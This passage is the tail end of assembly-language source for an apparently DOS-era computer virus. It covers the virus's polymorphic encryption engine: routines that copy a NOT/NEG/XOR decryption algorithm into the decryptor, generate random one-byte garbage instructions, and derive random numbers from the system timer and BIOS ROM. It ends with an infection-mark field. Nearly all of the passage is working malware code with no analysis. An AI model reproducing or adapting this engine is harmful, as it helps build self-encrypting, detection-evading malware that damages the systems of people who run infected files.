decrypt_len  dw      ?			 ; Length of decryptor
jb_imm8_off  dw      ?			 ; Offset of JB imm8 (Garbage gene...)
random_count db      ?			 ; Random counter
cmp_r16_i16  db      10000001b		 ; CMP reg16,imm16 (opcode 81h)
crypt_begin_:
crypt_table_:
	     db      ?			 ; CMP reg16,imm16 (End of encrypt...)
mov_r16_i16  db      ?			 ; MOV reg16,imm16 (Offset of encr...)
mov_r16_i16_ db      ?			 ; MOV reg16,imm16 (Decryption key)
inc_reg16    db      ?			 ; INC reg16 (Index register)
dec_reg16    db      ?			 ; DEC reg16 (Index register)
crypt_b_end_:
crypt_algo   dw      ?			 ; NOT [reg16]/NEG [reg16]/XOR [reg...
random_off   dw      ?			 ; Random offset
crypt_offset dw      ?			 ; Offset of encryption/decryption ...

move_algo    proc    near		 ; Move encryption/decryption algor...
	     push    es 		 ; Save ES at stack

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     push    di si		 ; Save registers at stack
	     mov     si,ds:[(crypt_offset-virus_begin)]
	     inc     si 		 ; SI = offset of CMP reg16,imm16 w...
	     inc     si 		 ; SI =   "    "   "       "       "

	     mov     di,(crypt_table_-virus_begin)
	     mov     cx,(crypt_b_end_-crypt_begin_)
	     rep     movsb		 ; Move encryption/decryption algor...
	     pop     si di		 ; Load registers from stack

	     pop     es 		 ; Load ES from stack

	     ret			 ; Return!
	     endp

gen_garbag_  proc    near		 ; Generate garbage
	     xchg    di,dx		 ; DX = offset within segment of al...
gen_garbag__:
	     call    get_rnd_num

	     mov     ax,0fh		 ; Random number within fifteen
	     call    rnd_in_range

	     or      di,di		 ; Don't generate any garbage inst...?
	     jz      gen_garbag__	 ; Zero? Jump to gen_garbag__

	     mov     cx,di		 ; CX = number of one byte garbage ...
	     mov     ds:[(mov_r16_off-virus_begin)],cx
gen_garba_:
	     call    get_rnd_num

	     mov     ax,(one_byte_end-one_by_begin)
	     call    rnd_in_range

	     lea     si,[di+(one_by_table-virus_begin)]
	     lodsb			 ; INC reg16/DEC reg16/NOP/CLD/CBW/...

	     cmp     al,ds:[(inc_reg16-virus_begin)]
	     je      gen_garba_ 	 ; Equal? Jump to gen_garba_
	     cmp     al,ds:[(dec_reg16-virus_begin)]
	     je      gen_garba_ 	 ; Equal? Jump to gen_garba_

	     mov     di,dx		 ; DI = offset within segment of al...
	     cld			 ; Clear direction flag
	     stosb			 ; Store INC reg16/DEC reg16/NOP/CL...

	     mov     dx,di		 ; DX = offset within segment of al...

	     loop    gen_garba_

	     ret			 ; Return!
	     endp

rnd_in_range proc    near		 ; Random number within range
	     push    ax bx cx dx	 ; Save registers at stack

	     xchg    dx,bx		 ; DX = 16-bit random number
	     xor     bx,bx		 ; Zero BX

	     mov     cx,0ffffh		 ; Compare 8-bit random number with...
rnd_in_loop:
	     mov     bh,ah		 ; BH = random number within range
cmp_rnd_num:
	     call    cmp_rnd_num_

	     inc     bh 		 ; Increase random number within range
	     cmp     bh,al		 ; Compare random number within ran...
	     jne     cmp_rnd_num	 ; Not equal? Jump to cmp_rnd_num

	     loop    rnd_in_loop

	     ret			 ; Return!
rnd_in_exit:
	     xor     bl,bl		 ; Zero BL
	     xchg    bh,bl		 ; BX = random number within range
	     mov     di,bx		 ; DI =   "      "      "      "

	     pop     dx cx bx ax	 ; Load registers from stack

	     cld			 ; Clear direction flag

	     ret			 ; Return!
	     endp

cmp_rnd_num_ proc    near		 ; Compare 8-bit random number with...
	     inc     bl 		 ; Increase low-order byte of base ...

	     cmp     bl,dl		 ; Compare 8-bit random number wit...?
	     je      rnd_in_exit_	 ; Equal? Jump to rnd_in_exit_

	     ret			 ; Return!
rnd_in_exit_:
	     pop     cx 		 ; Load CX from stack

	     jmp     rnd_in_exit
	     endp
	     endp

get_rnd_num  proc    near
	     push    ax dx es di cx	 ; Save registers at stack

	     in      ax,40h		 ; AX = 16-bit random number
	     xchg    ax,dx		 ; DX =   "      "      "

	     inc     byte ptr ds:[(random_count-virus_begin)]

	     mov     ax,0f800h		 ; AX = segment within system BIOS/ROM
	     mov     es,ax		 ; ES =    "      "      "       "

	     mov     di,ds:[(random_off-virus_begin)]
	     xor     dx,es:[di] 	 ; DX = 16-bit random number
	     mov     ds:[(random_off-virus_begin+200h)],dx

	     mov     cl,ds:[(random_count-virus_begin+200h)]
	     rol     dx,cl		 ; DX = 16-bit random number
	     mov     bx,dx		 ; BX =   "      "      "

	     pop     cx di es dx ax	 ; Load registers from stack

	     cld			 ; Clear direction flag

	     ret			 ; Return!
	     endp
	     endp
crypt_end:
infect_mark  dw      ?			 ; Infection mark
infect_mark_ db      ''                ;     "      "
code_end:

end	     code_begin
